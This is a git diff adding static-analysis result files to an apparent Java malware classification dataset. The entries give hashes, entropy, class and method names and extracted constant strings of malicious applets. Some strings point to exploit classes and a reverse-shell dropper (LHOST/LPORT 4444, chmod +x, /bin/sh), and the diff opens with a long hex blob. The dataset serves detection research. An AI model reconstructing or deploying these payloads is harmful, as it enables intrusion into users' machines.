"CF03BFC305050535058C0F0531053C0F053D053E0C053F0F054005410D05420D05430F054005440C05450C05460D05470F054805490F050E054A0F050E054B0F050D054C0C054D0F0514053C0C054E0C054F0C05500F0518053C0D05510F054005520F051805530D05540F051805550F0517054A0F051605560F050D05570D05580F0559055A0D055B0D055C0D055D0F0514055E0F0514055F0F051405600F0516055E0F050D05600F051605600F056105620F056105630C05640C05650C05660C056706050B416E736E79430605082D2E5B0605094874696A060514516E736A537A72676A77596667716A060508777A730605192D2E516F667B66347166736C3454676F6A68794006050F4A7D686A75796E74737806050F58747A77686A4B6E716A060510487166787839336F667B6611053305340C0568110569056A06052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694668796E74734A7D686A75796E74730C056B11056C056D0605136D79797533706A6A7566716E7B6A06050A6B6671786A11056E056F0605206F667B66346E7434477A6B6B6A776A694E73757A795879776A66720605116F667B6634736A79345A5751060605", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "25252525254D5959753F34347274696E6B6E6866796E747378786E736C716A75", "7A77686D66786A336E736B743469394E4D6E3857477B5F37343549596F746879", "0C057011057105721105330573110574057511053305760605226F667B66346E7434477E796A467777667E547A79757A795879776A66720605216F667B66346E7434477A6B6B6A776A69547A79757A795879776A667206051D6F667B66346E74344B6E716A547A79757A795879776A667206051B6F667B66347166736C345879776E736C477A6B6B6A77060509594A52551105770578110579057A06050D34727477336A7D6A11057B0572110533057C11057D057E06050A", "3535353B3D", "0C057F110580058106050A", "3535353D37", "06050A", "3535353A35", "3535353B3B", "1105820583110584058511058605340C0587110588058911058A058B0605186F667B66347166736C344A7D686A75796E747306050B4871667878390605156F667B66347166736C3454676F6A687906052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E74730605236F667B6634786A687A776E797E344668686A787848747379777471716A77060511697455776E7B6E716A6C6A690605422D516F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E7473402E516F667B66347166736C3454676F6A6879400605156F667B66347166736C34587E78796A72060517786A79586A687A776E797E526673666C6A770605232D516F667B66347166736C34586A687A776E797E526673666C6A77402E5B060510786A79557774756A77797E06053D2D516F667B66347166736C345879776E736C40516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C400605156F667B66347166736C345879776E736C06050979776E720605192D2E516F667B66347166736C345879776E736C4006051A2D516F667B66347166736C345879776E736C402E5B06050F74756A735879776A667206051C2D2E516F667B66346E74344E73757A795879776A66724006051D2D516F667B66346E74344E73757A795879776A6672402E5B06050B6C6A796A737B06052B2D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C4006050B6675756A73690605312D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C477A6B6B6A774006050D79745879776E736C06051F2D516F667B66346E7434547A79757A795879776A6672404E2E5B060509776A666906050C2D60474E4E2E4E0605166F667B66347166736C344E73796A6C6A7706050D756677786A4E737906051A2D516F667B66347166736C345879776E736C402E4E06050A7C776E796A06050C2D60474E4E2E5B0605107974477E796A467777667E0605092D2E604706050A687174786A0605166F667B66347166736C34577A73796E726A06050F6C6A79577A73796E726A06051A2D2E516F667B66347166736C34577A73796E726A400605096A7D6A6806052C2D516F667B66347166736C345879776E736C402E516F667B66347166736C34557774686A7878400526053005310506053205050507050605330534050605350505054305060507050505132FBC05062FBD05075CAC050951B605060509050E05110508050605360505051B050A0505050F05090512050E05170511051405120518050605370538050705350505072A050B05110505067A06BD0509160905C10D5108420843093B09170A170BBD050C5CC0050D5EC0050E5E170FBB0510BC0511BB0512BC05133F0AC005145EBC05153F0BC005165EC005175EC005185EBC0519171ABD051BBB051C171DBB051CBB051EBC051F160905BC05203F0C1E0A3008160905BB05215E42A0058622216543083B0D1A0D21A7056E2221691A0D650C759F0518301A0D61381722BD0523879659AC054D2221691A0D650C7509A50518301A0D61381724BD0523879659AC05312221691A0D650C750AA50518301A0D61381725BD0523879659AC0515301A0D61381726BD0523879659890D06AC049C1E0B300821BB0527AC047B083B0D1E0BBB05283F0E1E0BBB05291E0EC33B0F083B101A101A0F0A71A705301E0E1A10383B0D1E0E1A101E0E1A0F1A1069096938591E0E1A0F1A106909691A0D59891006AC04D71E0C1E0E081A0FBB052A1E0ABB052B1E0CBB052CBD052D3F101E10C005185EBC0519171ABD051BBB051C171DBB051CBB051EBB052E5CAC05095106B50506050906740677052F050605360505059B052A0505051C0509051F050F05200513052105160522051E052305360524053F05250569052605780528057C05290585052B0590052D05A0052F05AC053105BC053305C8053505D8053905E5052905EB053C05F6053E05F9053F0500054006050541060A054206160544061D0545062C054606380542063E054806480549064D054A0652054B0657054C067405510677054E067805520539050505090506052F0506053A05050507053B"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2957c9bd7eb725d3ed1d6b26e69e2a61e6106c34", "file_name": "java_malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522", "_id": "ec365edf-f73b-4916-934a-960ac428f91d", "score": 0, "entropy": 5.209706578812296, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7641, "ssdeep": "192:6lDp3bwpeZwpJCDpDM3UcODXFkRWdZG1ma5l1:6FpwpeqpJCDpDVcSFZCsK1", "sha256": "d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522", "md5": "ea5c176635b6b6124c8ab5cf79891d99", "parent_sha256": "d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results b/java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results new file mode 100755 index 0000000..3092a8e --- /dev/null +++ b/java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "vuln/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["start", ""], "minor_version": 0, "const_pool_count": 96}}, "_id": "0f146e5a-6e28-40f3-b112-abb695c8f493", "verbose": {"java": {"constant strings": ["Exploiting", "setSecurityManager", "urlFile"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e8ee4f59dadcf9ccdd4c721533772d8d3e2540df", "file_name": "java_malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c", "_id": "0f146e5a-6e28-40f3-b112-abb695c8f493", "score": 10, "entropy": 5.439345329236017, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1570, "ssdeep": "24:O3XpWz26HjPS+y1kJadlQelKRp3wt2+55zFm46jkdVmHkGqBfOhwiZtzB:OpW6I3odlQeI1wt2o5zF9LdV2eBmGiB", "sha256": "d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c", "md5": "9eb70c2000786eb2a4af06cf3165905f", "parent_sha256": "d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results b/java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results new file mode 100755 index 0000000..a1c26e9 --- /dev/null +++ b/java_classification/data/malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/yqxcjnobnhw", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "paoaxhxexnnlyl", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "beba1791-d235-4fe3-b2da-5493aaec992b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "347a818f43a0425c09e2b0326272b7ec98343fd9", "file_name": "java_malicious/d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e", "_id": "beba1791-d235-4fe3-b2da-5493aaec992b", "score": 0, "entropy": 5.204230162191312, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6949, "ssdeep": "96:KMH2Hz9KqCPDQeUpx1qbo8pbW2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TWHIzLQR1Qpaxhi/To55UTYwa5hGX1", "sha256": "d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e", "md5": "bd733e5ba6ef486682d0a67bf35c6c04", "parent_sha256": "d9db008bc7522c09b9ac9a6b419cb33d9b0d061d2e27383abc7e095d984ce46e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95.results b/java_classification/data/malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95.results new file mode 100755 index 0000000..c1b96fb --- /dev/null +++ b/java_classification/data/malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TevAttack.java", "class_name": "src/TevAttack", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 148}}, "_id": "c4627ce8-d25d-4677-810f-ec8cbf004b8c", "verbose": {"java": {"constant strings": ["GET / HTTP/1.1\\r\\nHost: ", "\\r\\n", "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\\r\\n", "Content-Length: ", "X-a: ", "U", "X-c:", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d6718dbe9c8af38875ecdfec8a43ba434c7b4bbf", "file_name": "java_malicious/d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95", "_id": "c4627ce8-d25d-4677-810f-ec8cbf004b8c", "score": 0, "entropy": 5.80831552663836, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2123, "ssdeep": "48:6QzRulhaRvBEREh+p3/fs7a6zkzXKWg2L:ylsmlv0GBzXj", "sha256": "d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95", "md5": "2a1c55afee03257d42e09938fa96816c", "parent_sha256": "d9f87aa3bb61af83a7525bc3794a81137b73bad47021157f77ae1e1cdec05f95"}} \ No newline at end of file diff --git a/java_classification/data/malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765.results b/java_classification/data/malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765.results new file mode 100755 index 0000000..7e1c547 --- /dev/null +++ b/java_classification/data/malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "lfuKAtpCT.java", "class_name": "wDQnYjaDF/VDGHBqG", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "ZjimaTBGT", ""], "minor_version": 0, "const_pool_count": 52}}, "_id": "7698366a-4fb1-4b3b-99ca-b82e2631324b", "verbose": {"java": {"constant strings": ["LmqhZ", "vRUsyEMNK", "BMiox", "EsHxG", "dULxh", "tMCfeer", "eZUfe", "YOvDRV", "YbdWpjDUF", "KZMGnBBT", "cBcVxjqHy", "xSRafuN", "69"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76f0ff944fc29bd471121309f38661711d162e54", "file_name": "java_malicious/da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765", "_id": "7698366a-4fb1-4b3b-99ca-b82e2631324b", "score": 0, "entropy": 5.500488034033448, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 678, "ssdeep": "12:nYGECiUDfYSDQulC7fw6B8l+40t4Z+i6qR2Ef1M9qloresl3osXV8xZeK9RkuOId:YGriGfYyQulC4l+jt4kiZ5UYsF8mg8R8", "sha256": "da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765", "md5": "d88f1299cd481f9da66888d88bc29edd", "parent_sha256": "da2b6d461b8f837485e7a408c28d668705dbe721cc1990cf6114784d39ee8765"}} \ No newline at end of file diff --git a/java_classification/data/malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e.results b/java_classification/data/malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e.results new file mode 100755 index 0000000..822e6a8 --- /dev/null +++ b/java_classification/data/malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ohrigcdpvf", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "xdrymngbmdjsieii", "uwhjiyuxmirgxvo", "iqrrbpydutzln", "cdgouxqrtmvwtsufkx", "jopujjheqlybgkdy", "jkwkfselxjvmxlv", "dwbxcmkrfijhaxpijgz", "fqibgutlnlrgdng", "ospzsrbzln", "lumwhjvrorebtuu", "qnwjftetlngfklppwkr", "ashsmylxjssgnzujq"], "minor_version": 0, "const_pool_count": 173}}, "_id": "b858284f-eaf2-48e7-b820-bcdc56ee6df5", "verbose": {"java": {"constant strings": ["celfesaswnbqwiciknkbbq", "ftyydpfvbb", "jpeuekpdoaszaqgstjuc", "noopamnfbsbvdntm", "zfxuxycrippetibdvp", "bwxisoofgmfzc", "dtpvdaxfjogrbqwwsikmlxa", "vhlxedpn", "vxzzfxmnfsudql", "", "twzcsanafvjlwxenqfiwzmmbu", "kzfvliwgbbp", "zbvsczgewpalwphjdruhiybzoaehxb", "jsdsxbvn", "fbessudpqlwghldolvy", "pdwvpoapukhecaftxskws", "fexzg", "fb", "xxshfvyqxwqtekatpxyow", "rqdkxtodtaizavhwpwutaap", "ikvwol", "l", "atqnoqwoztlipdgishdgbr", "rcmlxjjehdu", "ryrjlfdmpurpljolvrgs", "pkbfohtqkmuhdxafbviw", "ctcuzdbqczrma", "zblvyvaqulwkjstue", "ndlcenjjp", "wlhgsbuqvgvn", "gxpbokjniaprzachfcmwcmkw", "cpmqbuzwfteluzkfxoajdy", "fnylbocusjvcebinjmgvk", "auyhexowafmjxuh", "tzsgeku", "xdoppshieqix", "ybjaieordkywcmyolttawz", "ykzfyhnhkynwdqyerniebdvssxsur", "ywfhyd", "lizgrqunmddytnuq", "ffmxyobxv", "zzohzibcz", "so", "eoihqiregcgonkwqjmnr", "jshvljozygvx", "fyarcn"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ddfd8d968753a4b0195c92f4474af5e335f4eb2", "file_name": "java_malicious/db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e", "_id": "b858284f-eaf2-48e7-b820-bcdc56ee6df5", "score": 0, "entropy": 5.637199952425581, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3830, "ssdeep": "96:PJzaIUAtDwXMEuhxTIXCGhvXol0taH/IZysXT:ZOAlDEuAR2hgAQ", "sha256": "db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e", "md5": "5e04fd052a72f7dedbcdd2809a44e5ad", "parent_sha256": "db90ea5f7d59462f099f8a2bfd6b72798e719db66c60504b3e66deea044b5c4e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results b/java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results new file mode 100755 index 0000000..c37f6e1 --- /dev/null +++ b/java_classification/data/malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Ceqsu", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "oDAX", "qLHNcpM"], "minor_version": 0, "const_pool_count": 187}}, "_id": "8962b612-0a8e-45a9-ba22-8afa094c73cb", "verbose": {"java": {"constant strings": ["000tO", "S2340ByteArray", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fba565ecc2e447db3ed921fa97fed0330660282a", "file_name": "java_malicious/dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7", "_id": "8962b612-0a8e-45a9-ba22-8afa094c73cb", "score": 0, "entropy": 5.839430233091482, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3036, "ssdeep": "48:3FdvGFoabPqSyakhdXv4+89OA3yNB7QiASTilkAMs/3jzI3i:3uF7bS7xHKOog7QvSGlkAj/wy", "sha256": "dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7", "md5": "3699811c95386853a0caf823374d213f", "parent_sha256": "dbcf088eeda2632f39008261da6542e12c7045c1afaefc4a35bf1694931c68e7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1.results b/java_classification/data/malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1.results new file mode 100755 index 0000000..3f3259d --- /dev/null +++ b/java_classification/data/malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "xGFALCBnLa/RGfBFng", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "97a8c5ec-9434-4683-966f-424819210372", "verbose": {"java": {"constant strings": ["xGFALCBnLa.RGfBFng", ".class", "/xGFALCBnLa.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "xGFALCBnLa.dat", "URL", "", "https:", "xGFALCBnLa/RGfBFngTrustManager.class", "RGfBFngTrustManager.class", "AESPassword", "xGFALCBnLa/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "xGFALCBnLa.RGfBFngTrustManager", "useFor", "java.net.URLConnection", "xGFALCBnLa.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "RGfBFng -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5598d995467f7d609d43ae3a268203323523a402", "file_name": "java_malicious/dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1", "_id": "97a8c5ec-9434-4683-966f-424819210372", "score": 0, "entropy": 6.145364912309503, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM4DUBD+WUl8sThmD4G5xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvR:gmO1t0D6tmByNvpvUrKYvCkgHzbDrDF", "sha256": "dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1", "md5": "1a9b30b031e0ef1f1cc2c3e8d3a436f2", "parent_sha256": "dbf31790a3c0b1d62fd86841480456b7090db1c8a99934c63217a6a146b516c1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results b/java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results new file mode 100755 index 0000000..2634b34 --- /dev/null +++ b/java_classification/data/malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "yTxuIa.java", "class_name": "luLbEI/yTxuIa", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "IPeCKQGPj"], "minor_version": 0, "const_pool_count": 111}}, "_id": "61bfcf09-c1cc-4924-9e88-2d01da90ddc5", "verbose": {"java": {"constant strings": ["!*=*e8.(>9\"?2e\\n\\'\\'\\x1b.9&\"88\"$%", "*//", "!*=*e8.(>9\"?2e\\x1b.9&\"88\"$%", "!*=*e8.(>9\"?2e\\x08$/.\\x18$>9(.", "!*=*e8.(>9\"?2e\\x1b9$?.(?\"$%\\x0f$&*\"%", "*;;\\'.?\\x14(\\'*88"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "797092a7100374a6dc944a838636e1b00e44d297", "file_name": "java_malicious/dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42", "_id": "61bfcf09-c1cc-4924-9e88-2d01da90ddc5", "score": 0, "entropy": 5.849135459493506, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2417, "ssdeep": "48:bsyFlMHFJ/ZDUZ6d+bkLlPR0yHYp+XiKM1jlZ6G:ZFll6d+450JpXcG", "sha256": "dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42", "md5": "92cf7c718cefe449502a20c6215cccaa", "parent_sha256": "dc057fe4c349d0e7cc6849f9fff85c8475ddfed380cd081dabaeef4474707f42"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca.results b/java_classification/data/malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca.results new file mode 100755 index 0000000..f79604e --- /dev/null +++ b/java_classification/data/malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "vload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "vload.java", "method_names": ["", "readObject", "writeObject", "a", "b", "a", "b", "c", "d", "e", ""], "minor_version": 0, "const_pool_count": 235}}, "_id": "cb718323-96c6-44df-bd28-c695fd7c4c44", "verbose": {"java": {"constant strings": ["rKb&HpHaS:\\x01:\\x14S9\\x03:\\x14 ;\\x01K\\x14S8\\x01:\\x14P?\\x01K\\x14S9\\x07:\\x14P=\\x01=\\x14S9\\t:eS:\\x023\\x14S9p:eS:\\x02H\\x14S9r:\\x1cS:\\x02N\\x14\":\\x019fS:\\x02O\\x14[:\\x019bS=\\x01:\\x10S:\\x06:\\x14W;\\x01K\\x14S:p:\\x14P?\\x012\\x14S>\\x03:eS:\\x023\\x14S>\\x02:eS:\\x01K\\x14S>\\x05:\\x1cS:\\x05?\\x14\":\\x01:eS:\\x05<\\x14\":\\x01:\\x1dS:\\x05=\\x14\":\\x01;bS:\\x052\\x14[:\\x01>\\x1dS2\\x01:\\x10\":p:\\x14P3\\x01:\\x10!:\\t:\\x14WI\\x012\\x14S>u:\\x1cS:\\x05O\\x14[:\\x01>bS=\\x01:\\x11S:p:\\x14S3\\x01:\\x11R:p:\\x14S3\\x01:\\x11Q:p:\\x14S3\\x01:\\x11P:p:\\x14S3\\x01:\\x11W:\\x06:\\x14V?\\x01=\\x14S?\\x07:\\x13S:\\x04=\\x14T:\\x01?\\x1cS;\\x01:\\x14U9r<\\x1dUO\\x073\\x13W9t:\\x15S:\\x019\\x16[8\\x08?\\x12S;\\x01:\\x14W>\\x02\\x07?\\x14R:\\x01:\\x1cVK\\x05H\\x10\\'9\\x048aP>\\x03O\\x17P:\\xc0\\x80:\\x14SN\\x049\\x13W<\\xc0\\x80<\\x17UH\\x05N\\x12R=\\x01?\\x10U;\\x078\\x12 <\\x04:\\x13S:\\x04?\\x14T:\\x019\\x1cS;\\x01:\\x14P=\\x03=\\x11UO\\x01;\\x14S;\\x058\\x1cQ3\\x05I\\x12\"<\\xc0\\x80=\\x12U;\\x03L\\x12 <\\xc0\\x80\\x073\\x12%\\x12Z\\x04:\\x15S8w<\\x12S;\\xc0\\x80I\\x17\"8w\\x16W8\\x08<\\x10R:\\x04N\\x12V;\\x05<\\x10SH\\x01O\\x17[8\\x01\\x14R:\\x018\\x15U=\\xc0\\x80=\\x15V9r8`QK\\x01I\\x14Z9r9gP:\\x05H\\x11Q8\\x03<\\x16UH\\xc0\\x80O\\x14V9p<\\x16U>\\x01;\\x14Z<\\x068bU?r:\\x1cS?\\x039fPO\\x06L\\x14\":\\xc0\\x80:\\x14SI\\x07K\\x12R=\\x07<\\x15QL\\x073\\x12%8w>\\x12U3\\x07I\\x12V:\\xc0\\x80:\\x14R=\\x07K\\x12R=\\x07<\\x15QL\\x07I\\x12R\\x12V=\\x03:\\x15S:\\x01=\\x10!9\\x058`SI\\x01N\\x11&8\\x04:gS:\\x07?\\x14S<\\x07:gS:\\x07=\\x14S<\\t:\\x15S:\\xc0\\x80K\\x11U9\\x06:\\x1cQ<\\xc0\\x80:\\x10S:\\x04:fQ3\\xc0\\x80:\\x10&:\\xc0\\x80:`Q>\\x039\\x13P:\\x08;\\x1cQ<\\x022\\x11U:\\x06;gQH\\x03>\\x12%:r:\\x14U3\\x01:\\x12\":r:\\x14Q9\\x01:\\x12!:r:\\x14QL\\x01:\\x17S:\\xc0\\x80:\\x14Q:\\x04<\\x17T:\\t8\\x12R:\\x05:\\x14V:s8\\x1dR:\\x05O\\x14R:u8\\x10Q9\\x069\\x14Z;\\t8\\x12P2\\x04<\\x17T:\\x059fP2\\x07L\\x14Z9t8\\x1dQL\\x078\\x14R:\\xc0\\x80:\\x14S3\\x06L\\x15T;\\t9eU8\\x078\\x14!;\\x018`SI\\x01:\\x12 :\\x01<\\x12S;\\x01:\\x16!?\\x078\\x11SN\\x022\\x16S<\\x02:\\x13RI\\x02I\\x16V<\\x04:eVN\\x01I\\x16\\'=t:\\x11Q;\\xc0\\x80H\\x17Z<\\x059\\x1cP=\\x033\\x17\"\\x03?\\x16Z<\\x05;\\x14Q;\\x03H\\x16\\'<\\x08:gR2\\x01;\\x14S9\\xc0\\x80?\\x12Q?\\x01N\\x17[8\\x01<\\x17S=\\xc0\\x80I\\x17 8\\x04<\\x11SK\\x04N\\x14 8u=aS?\\x03;\\x15!9\\x08<\\x10P2\\x02=\\x16Z9p\\x16V8\\x08<\\x10R:\\x03;\\x15!9\\x04=\\x1dR:\\xc0\\x802\\x16V:wr:\\x1cS<\\x04;\\x17Q;\\xc0\\x80H\\x17Z<\\x059\\x1cP=\\x033\\x17\"\\x03?\\x16Z<\\x05;\\x14Q;\\x03H\\x16\\'<\\x08:gR2\\x01;\\x14S9\\x02?\\x12Q?\\x01N\\x17[:\\t\\x17[9\\x068\\x1dPK\\x07H\\x17[9\\x088`PI\\x07<\\x14!:\\x058\\x11Q3\\x07>\\x15S8\\xc0\\x80;fP?\\x063\\x15S;\\t8\\x11SL\\x07H\\x14T;\\x048`S;\\x01:\\x15PbU8\\x07K\\x12V<\\x02=\\x10S;\\x01:\\x16T\\x10V=\\t<\\x17U?\\x06:\\x13W<\\x08\\x04=\\x1cU9\\x07?\\x13S=\\x05<\\x1dUL\\x07O\\x14R:\\x01;aUK\\x07;\\x13U<\\xc0\\x808bT9\\x07?\\x12P=\\x04=\\x16U3\\x06>\\x13Z8w>\\x15U9\\x079\\x12V=\\x02=\\x17W9\\x07L\\x12&=\\x05=\\x16UL\\x07I\\x12 <\\x04=\\x16S;\\x01:\\x14 <\\x05gUK\\x07;\\x13U<\\xc0\\x808bT9\\x07?\\x12P=\\x04=\\x16U3\\x06>\\x13Z8w?\\x14T8\\x073\\x13U<\\x08\\x11T2\\x079\\x12V=\\x01=\\x10U3\\x07L\\x12&>\\xc0\\x80<\\x17T>\\x073\\x12%\\x07?\\x12\\':\\xc0\\x80:\\x14R8\\x069\\x12V=\\x05?\\x17U?\\x079\\x13V=\\x03<\\x1dT>\\x063\\x10\\'<\\xc0\\x80r\\x063\\x10\\'<\\xc0\\x80\\x12Z\\x12V=\\t<\\x11U9\\x01;\\x14S8\\x068\\x1cWI\\x07K\\x12R=\\x07<\\x15QL\\x07I\\x12RgUK\\x07;\\x13U<\\xc0\\x808bUI\\x07;\\x12&<\\x068bV:\\x068\\x12%<\\x02<\\x11T9\\x069\\x17!:\\xc0\\x80:\\x14S<\\x07=\\x12V=\\x05<\\x11UO\\x06<\\x14R:\\x018\\x12Q2\\x05I\\x12\"<\\xc0\\x80=\\x12U;\\x03L\\x12 <\\xc0\\x80\\x14R:\\x018`Q2\\x05I\\x12\"<\\xc0\\x80=\\x12U;\\x03L\\x12 